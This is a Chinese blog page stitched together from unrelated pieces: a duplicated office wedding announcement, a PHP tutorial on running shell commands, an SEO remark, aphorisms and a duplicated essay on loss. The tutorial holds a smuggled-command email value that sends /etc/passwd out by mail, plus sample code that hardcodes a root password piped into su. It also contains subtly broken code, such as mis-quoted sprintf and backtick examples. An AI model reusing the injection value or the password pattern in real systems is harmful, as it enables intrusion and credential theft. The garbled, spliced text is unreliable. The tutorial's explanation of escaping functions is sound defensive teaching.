德叔结婚了
德叔结婚啦!
恭喜,恭喜!
德叔本名林德清,年纪不大,只是一直很奇怪的是,从我一来公司起,德叔就被尊称为德叔,是公司为数不的“叔”字辈的一员。
这场婚礼举办得很隆重,公司将近半数的人都参加了这次婚礼。婚礼还在举办中,欲知详情敬请继续关注!
德叔结婚啦!
恭喜,恭喜!
德叔本名林德清,年纪不大,只是一直很奇怪的是,从我一来公司起,德叔就被尊称为德叔,是公司为数不的“叔”字辈的一员。
这场婚礼举办得很隆重,公司将近半数的人都参加了这次婚礼。婚礼还在举办中,欲知详情敬请继续关注!
我们知道php给我们提供了system(),exec(),passthru()这三个函数来调用外部的命令.
虽然这三个命令都能执行linux系统的shell命令,但是其实他们是有区别的:
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码
在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
system("/usr/local/bin/webalizer/webalizer");
exec()
原型:string exec(string command [, string array [, int return_var]])
exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
passthru()
原型:void passthru (string command [, int return_var])
passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus (Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
2) 用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一 的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。
例子1:
$fp=popen("/bin/ls -l", "r");
例子2
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
$res='/bin/ls -l';
echo '
'.$res.'
';
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样:
system("mail $to < products.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸 好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运 行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中,如:
system("/usr/local/bin/order_proc > /tmp/null &");
MOMO,我的网站被百度降权两次,终于在这次大更新的时候把我放出来了,毕竟我的网站也已经有三个月的高龄了。哈哈……
最近都没有时间去管我的博客,但是今天搜索我的主关键字之后发现,我的排名还是没有掉,看来不热门的关键字、不来钱的关键字,还是很少有人会去做的。
对于初学SEO的朋友来说打好以下三点基础是最重要的:
一、分析关键词;
二、分析网站流量;
三、分析竞争对手的外链情况。
今天很困,改天祥述
一. 记住该记住的,忘记该忘记的。改变能改变的,接受不能改变的。
二. 能冲刷一切的除了眼泪,就是时间,以时间来推移感情,时间越长,冲突越淡,仿佛不断稀释的茶。
三. 怨言是上天给人类最大的供物,也是人类祷告中最真诚的部分。
四. 智慧的代价是矛盾。这是人生对人生观开的玩笑。
五. 世上的姑娘总以为自己是骄傲的公主(除了少数极丑和少数极聪明的姑娘例外)。
六. 如果敌人让你生气,那说明你还没有胜他的把握。如果朋友让你生气,那说明你仍然在意他的友情。
七. 令狐冲说,有些事情本身我们无法控制,只好控制自己。
八. 我不知道我现在做的哪些是对的,哪些是错的,而当我终于老死的时候我才知道这些,所以我现在所能做的就是尽力做好每一件事,然后等待着老死。
九. 也许有些人很可恶,有些人很卑鄙。而当我设身为他想像的时候,我才知道:他比我还可怜,所以请原谅所有你见过的人,好人或者坏人。
十. 鱼对水说你看不到我的眼泪,因为我在水里;水说我能感觉到你的眼泪,因为你在我心里。
十一. 快乐要有悲伤作陪,雨过应该就有天晴。如果雨后还是雨,如果忧伤之后还是忧伤,请让我们从容面对这离别之后的离别,微笑地去寻找一个不可能出现的你。
十二. 死亡教会人一切,如同考试之后公布的结果,虽然恍然大悟,但为时晚矣。
十三. 你出生的时候,你哭着,周围的人笑着;你逝去的时候,你笑着,而周围的人在哭,一切都是轮回,我们都在轮回中。
十四. 男人在结婚前觉得适合自己的女人很少,结婚后觉得适合自己的女人很多。
人生的道路是漫长的,如果你只会一味的感伤失去,那么你将一无所有,只有有能力去享受失去的“乐趣”的人,才能真正品尝到人生的幸福。让自己承受失去的东西,也许你会感到很痛苦,那也要自己去承受,别人是代替不了你的。伤和痛是有的,这就证明你已经长大了,成熟了。失去的时候,你可以哭,可以发泄,可以找朋友倾诉……过后,你的世界就会充满了阳光。记住一句话:不是烦恼太多,而是我们的心胸不够开阔;不是快乐太少,而是我们不懂怎样去生活!
一时间想不起是谁说过:“如果你因为失去太阳而流泪,那你也失去群星了”。乍眼看去这不经意的一句话深深地触动了我,让我尝试换一种思维,换一种角度来思索失去与得到之间的区别和差距。于是不难发现获得是一种幸福,失去是另一种幸福。明白在拥有的同时也有可能失去的道理。这句很有哲理,生活中,既有失望也有希望,有痛苦也有快乐。因此,我们要明白失去是痛苦的,但不能因此失去对生活的信心与希望,不能陷在焦虑与遗憾的泥沼里自暴自弃。
世间万物都是一分为二的,有其利必有其弊。十全十美的事情是不可能存在的。俗话说得好:金无足赤,人无完人。当你遇到遗憾和失败时,重要的是看你怎去面对和接受这个现实,而不是低头叹息任由其意志消沉。我们要走好人生的每一步,必须要有坚强的意志,脚踏实地的精神。既使前方道路是泥泞的、崎岖的,充满着危机;尽管你战战兢兢地向前走,也不可能避免偶尔会摔上一跤,甚至也会摔得头破血流。但只要你能勇敢地爬起来,重新站起来,继续地往前走,最终胜利总是属于你的。
生活中,我们既要享受收获的喜悦,也要享受“失去”的乐趣。失去是一种痛苦,也是一种幸福。因为失去的同时你也在得到。失去了太阳,我们可以欣赏到满天的繁星;失去了绿色,我们可以得到丰硕的金秋;失去了青春岁月,我们走进了成熟的人生…… 朋友,别因为失去了而感到遗憾,勇敢地去面对,做生活的强者!
生活没有永远的一帆风顺,正如古人说的那样:“人生不如意者十之八九。”或许生活就是这样:“得之桑隅,失之东隅”。在漫长的岁月里,顺境与逆境,得意与失意,快乐与痛苦,无处不在,无时不困扰着我们。于是,生命里留下了许许多多的遗憾印迹,生活里有了无数声长吁短叹。遭遇坎坷,面对困境,我们总是在利与弊之间取舍,在失去与得到的交替之中成长。
人生的道路是漫长的,如果你只会一味的感伤失去,那么你将一无所有,只有有能力去享受失去的“乐趣”的人,才能真正品尝到人生的幸福。让自己承受失去的东西,也许你会感到很痛苦,那也要自己去承受,别人是代替不了你的。伤和痛是有的,这就证明你已经长大了,成熟了。失去的时候,你可以哭,可以发泄,可以找朋友倾诉……过后,你的世界就会充满了阳光。记住一句话:不是烦恼太多,而是我们的心胸不够开阔;不是快乐太少,而是我们不懂怎样去生活!
一时间想不起是谁说过:“如果你因为失去太阳而流泪,那你也失去群星了”。乍眼看去这不经意的一句话深深地触动了我,让我尝试换一种思维,换一种角度来思索失去与得到之间的区别和差距。于是不难发现获得是一种幸福,失去是另一种幸福。明白在拥有的同时也有可能失去的道理。这句很有哲理,生活中,既有失望也有希望,有痛苦也有快乐。因此,我们要明白失去是痛苦的,但不能因此失去对生活的信心与希望,不能陷在焦虑与遗憾的泥沼里自暴自弃。
世间万物都是一分为二的,有其利必有其弊。十全十美的事情是不可能存在的。俗话说得好:金无足赤,人无完人。当你遇到遗憾和失败时,重要的是看你怎去面对和接受这个现实,而不是低头叹息任由其意志消沉。我们要走好人生的每一步,必须要有坚强的意志,脚踏实地的精神。既使前方道路是泥泞的、崎岖的,充满着危机;尽管你战战兢兢地向前走,也不可能避免偶尔会摔上一跤,甚至也会摔得头破血流。但只要你能勇敢地爬起来,重新站起来,继续地往前走,最终胜利总是属于你的。
生活中,我们既要享受收获的喜悦,也要享受“失去”的乐趣。失去是一种痛苦,也是一种幸福。因为失去的同时你也在得到。失去了太阳,我们可以欣赏到满天的繁星;失去了绿色,我们可以得到丰硕的金秋;失去了青春岁月,我们走进了成熟的人生…… 朋友,别因为失去了而感到遗憾,勇敢地去面对,做生活的强者!
生活没有永远的一帆风顺,正如古人说的那样:“人生不如意者十之八九。”或许生活就是这样:“得之桑隅,失之东隅”。在漫长的岁月里,顺境与逆境,得意与失意,快乐与痛苦,无处不在,无时不困扰着我们。于是,生命里留下了许许多多的遗憾印迹,生活里有了无数声长吁短叹。遭遇坎坷,面对困境,我们总是在利与弊之间取舍,在失去与得到的交替之中成长。
近期评论